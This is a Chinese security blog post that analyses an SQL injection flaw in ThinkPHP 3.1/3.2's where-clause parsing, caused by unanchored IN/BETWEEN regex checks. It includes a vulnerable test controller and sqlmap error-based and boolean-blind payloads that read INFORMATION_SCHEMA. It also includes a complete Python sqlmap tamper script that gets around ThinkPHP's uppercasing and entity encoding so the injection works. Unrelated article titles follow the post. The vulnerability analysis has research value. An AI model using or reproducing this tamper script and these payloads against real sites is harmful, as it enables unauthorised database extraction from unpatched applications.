Author:m3d1t10n

前两天看到phithon大大在乌云发的关于ThinkPHP的漏洞,想看看是什么原因造成的。可惜还没有公开,于是就自己回来分析了一下。

0x00官方补丁(DB.class.php parseWhereItem($key,$val))
注意红色框框起来的部分

0x01分析

 
 
 
 
 

PHP

 
preg_match('/IN/i',$val[0]) //该正则没有起始符和终止符,xxxxinxxxxx等任意包含in的字符串都可以匹配成功,因而构成了注入

preg_match('/BETWEEN/i',$val[0]) //同上

1
2
3
preg_match('/IN/i',$val[0]) //该正则没有起始符和终止符,xxxxinxxxxx等任意包含in的字符串都可以匹配成功,因而构成了注入
 
preg_match('/BETWEEN/i',$val[0]) //同上

0x02验证

 
 
 
 
 
 

PHP

 
class IndexAction extends Action {
public function index(){
$user = I("param.user");
$pass = I("param.pass");
$where["user"] = $user;
$where["pass"] = $pass;

var_dump($where);
$model = M("user");
$data = $model->where($where)->select();
echo $model->getLastSql(); // 打印sql语句
echo "<br/>";
var_dump($data); // 打印数据
die(mysql_error()); // 打印错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class IndexAction extends Action {
    public function index(){
          $user  =  I("param.user");
      $pass  =  I("param.pass");
      $where["user"] = $user;
      $where["pass"] = $pass;
      
      
      var_dump($where);
        $model = M("user");
        $data =  $model->where($where)->select();
      echo $model->getLastSql(); //   打印sql语句
      echo "<br/>";
      var_dump($data);     // 打印数据
      die(mysql_error());  //  打印错误

1.1正常访问

1.2poc

0x03编写支持此注入的tamper
(支持mysql)
3.1由于php中有这样一段话,会将我们插入的语句全变成大写,所以我们要将payloa做一个转换

 
 
 
 
 
 

PHP

 
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
1
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';

3.2sqlmap mysql error based 注入语句

 
 
 
 
 
 

Transact-SQL

 
AND (SELECT 8080 FROM(SELECT COUNT(*),CONCAT(0x3a7a61623a,(SELECT (CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END)),0x3a6c697a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
/**其中的0x3a7a61623a等十六进制字符会因为x变成大写而报错,所以我们需要将他们匹配出来变成小写的 **/
1
2
AND (SELECT 8080 FROM(SELECT COUNT(*),CONCAT(0x3a7a61623a,(SELECT (CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END)),0x3a6c697a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
/**其中的0x3a7a61623a等十六进制字符会因为x变成大写而报错,所以我们需要将他们匹配出来变成小写的  **/

3.3sqlmap myql boolean blind 注入语句

 
 
 
 
 
 

Transact-SQL

 
AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51

payload = "ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))"
num = 51
/**
因为>会被thinkphp进行实体编码,所以我们需要将整条语句换成
floor(payload / num.5)
例如:
52>51==1 为真
floor(52/51.5)==1 为真
51>51==0 为假
floor(51/51.5)==0 为假 **/

1
2
3
4
5
6
7
8
9
10
11
12
13
AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51
 
 
payload = "ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))"
num = 51
/**
因为>会被thinkphp进行实体编码,所以我们需要将整条语句换成
floor(payload / num.5)
例如:
52>51==1 为真
floor(52/51.5)==1  为真
51>51==0 为假
floor(51/51.5)==0 为假 **/

3.4最后的tamper代码

 
 
 
 
 
 

Python

 
#__author__ = 'm3d1t10n'
import re
import binascii
#f = open("out.dat","w")
def tamper(payload, **kwargs):
d = {"ror":"rand","and":"or"}
#f.write(payload+"\n")
t = re.findall('(0x\w+)',payload.lower())
for expression in t:
d[expression] = "lower('%s')" % binascii.unhexlify(expression[2:])
for key in d:
payload = payload.lower().replace(key,d[key])
prefix = "in%20(%27xxx%27))%20"
subfix = "%20--%20"
payload
payload = prefix + payload + subfix
t = re.findall('or (.+)>(\d+)',payload.lower())
#print payload
if t:
payload = payload.replace(t[0][0]+'>'+t[0][1],"ceil(floor(%s/%s.5))"%(t[0][0],t[0][1]))
#print payload
#f.write(payload+"\n")
return payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#__author__ = 'm3d1t10n'
import re
import binascii
#f = open("out.dat","w")
def tamper(payload, **kwargs):
    d = {"ror":"rand","and":"or"}
    #f.write(payload+"\n")
    t = re.findall('(0x\w+)',payload.lower())
    for expression in t:
        d[expression] = "lower('%s')" % binascii.unhexlify(expression[2:])  
    for key in d:
        payload = payload.lower().replace(key,d[key])
    prefix = "in%20(%27xxx%27))%20"
    subfix = "%20--%20"
    payload
    payload = prefix + payload + subfix
    t = re.findall('or (.+)>(\d+)',payload.lower())
    #print payload
    if t:
        payload = payload.replace(t[0][0]+'>'+t[0][1],"ceil(floor(%s/%s.5))"%(t[0][0],t[0][1]))
    #print payload
    #f.write(payload+"\n")
    return payload

0x04sqlmap 本地测试
4.1boolean based

thinkphp.py

ThinkPHP 3.1、3.2一个通用的漏洞分析的更多相关文章

  1. 编写一个通用的Makefile文件

    1.1在这之前,我们需要了解程序的编译过程 a.预处理:检查语法错误,展开宏,包含头文件等 b.编译:*.c-->*.S c.汇编:*.S-->*.o d.链接:.o +库文件=*.exe ...

  2. Linux C编程学习之开发工具3---多文件项目管理、Makefile、一个通用的Makefile

    GNU Make简介 大型项目的开发过程中,往往会划分出若干个功能模块,这样可以保证软件的易维护性. 作为项目的组成部分,各个模块不可避免的存在各种联系,如果其中某个模块发生改动,那么其他的模块需要相 ...

  3. 封装一个通用递归算法,使用TreeIterator和TreeMap来简化你的开发工作。

    在实际工作中,你肯定会经常的对树进行遍历,并在树和集合之间相互转换,你会频繁的使用递归. 事实上,这些算法在逻辑上都是一样的,因此可以抽象出一个通用的算法来简化工作. 在这篇文章里,我向你介绍,我封装 ...

  4. 一个通用的DataGridView导出Excel扩展方法(支持列数据格式化)

    假如数据库表中某个字段存放的值“1”和“0”分别代表“是”和“否”,要在DataGridView中显示“是”和“否”,一般用两种方法,一种是在sql中直接判断获取,另一种是在DataGridView的 ...

  5. 利用RBAC模型实现一个通用的权限管理系统

    本文主要描述一个通用的权限系统实现思路与过程.也是对此次制作权限管理模块的总结. 制作此系统的初衷是为了让这个权限系统得以“通用”.就是生产一个web系统通过调用这个权限系统(生成的dll文件), 就 ...

  6. 为了去重复,写了一个通用的比较容器类,可以用在需要比较的地方,且支持Lamda表达式

    为了去重复,写了一个通用的比较容器类,可以用在需要比较的地方,且支持Lamda表达式,代码如下: public class DataComparer<T>:IEqualityCompare ...

  7. 用Java实现一个通用并发对象池

    这篇文章里我们主要讨论下如何在Java里实现一个对象池.最近几年,Java虚拟机的性能在各方面都得到了极大的提升,因此对大多数对象而言,已经没有必要通过对象池来提高性能了.根本的原因是,创建一个新的对 ...

  8. 一个通用数据库访问类(C#,SqlClient)

    本文转自:http://www.7139.com/jsxy/cxsj/c/200607/114291.html使用ADO.NET时,每次数据库操作都要设置connection属性.建立connecti ...

  9. Java反射结合JDBC写的一个通用DAO

    以前写反射只是用在了与设计模式的结合上,并没有考虑到反射可以与DAO结合.也是一个偶然的机会,被正在上培训的老师点到这个问题,才考虑到这个可能性,于是上网参考各种代码,然后自己动手开发了一个通用DAO ...

随机推荐

  1. 【bzoj4399】魔法少女LJJ 并查集+权值线段树合并

    题目描述 在森林中见过会动的树,在沙漠中见过会动的仙人掌过后,魔法少女LJJ已经觉得自己见过世界上的所有稀奇古怪的事情了LJJ感叹道“这里真是个迷人的绿色世界,空气清新.淡雅,到处散发着醉人的奶浆味: ...

  2. mapserver+QGIS+openlayers的安装和配置

    1.下载MS4W,不要怀疑MS4W就是mapserver,只是里面集成了一些其他的工具和库,下载地址:http://www.maptools.org/ms4w/index.phtml?page=dow ...

  3. Codeforces #990E Post Lamp

    题目大意 今欲用若干条长为 $k$($1\le k\le m, k\in \mathbb{Z}$) 的线段覆盖数轴上 $[0,n]$ 这一段.线段的起点(左端点)必须为 $[0, n-1]$ 中的某个 ...

  4. oracle 修改数据 保险方法

    oracle 中修改比较安全的方法:(pl/sql) 第一种方法: select * from temp where id=9 for update; 第二种方法: select t.*,rowid ...

  5. python 对比两个字典的差异

    实际遇到的问题逻辑很繁杂,就不全写了.最后是通过对比两个字典差异来解决的.找出两个字典的差异,可参考以下代码. dict1 = {'a':1,'b':2,'c':3,'d':4} dict2 = {' ...

  6. 初始化一个Express项目

    首先新建一个目录mkdir myblog,在该目录下运行npm init 生成package.json 然后安装express,加--save写入package.json npm i express@ ...

  7. webpack+babel+ES6+react环境搭建

    webpack+babel+ES6+react环境搭建 步骤: 1 创建项目结构 注意: 先创建一个项目目录  react  这个名字自定义,然后进入到这个目录下面 mkdir app //创建app ...

  8. [LeetCode] Search a 2D Matrix 二分搜索

    Write an efficient algorithm that searches for a value in an m x n matrix. This matrix has the follo ...

  9. duilib入门简明教程 -- 界面设计器 DuiDesigner (10) (转)

    原文转自:http://www.cnblogs.com/Alberl/p/3343838.html     上一个教程讲解了怎么布局最大化.最小化.关闭按钮,但是如果手动去计算这三个按钮的位置和大小的 ...

  10. C#Json转Xml格式数据的方法

    第一种方法 string Xml = "在这里写Json字符串"; XmlDictionaryReader reader = JsonReaderWriterFactory.Cre ...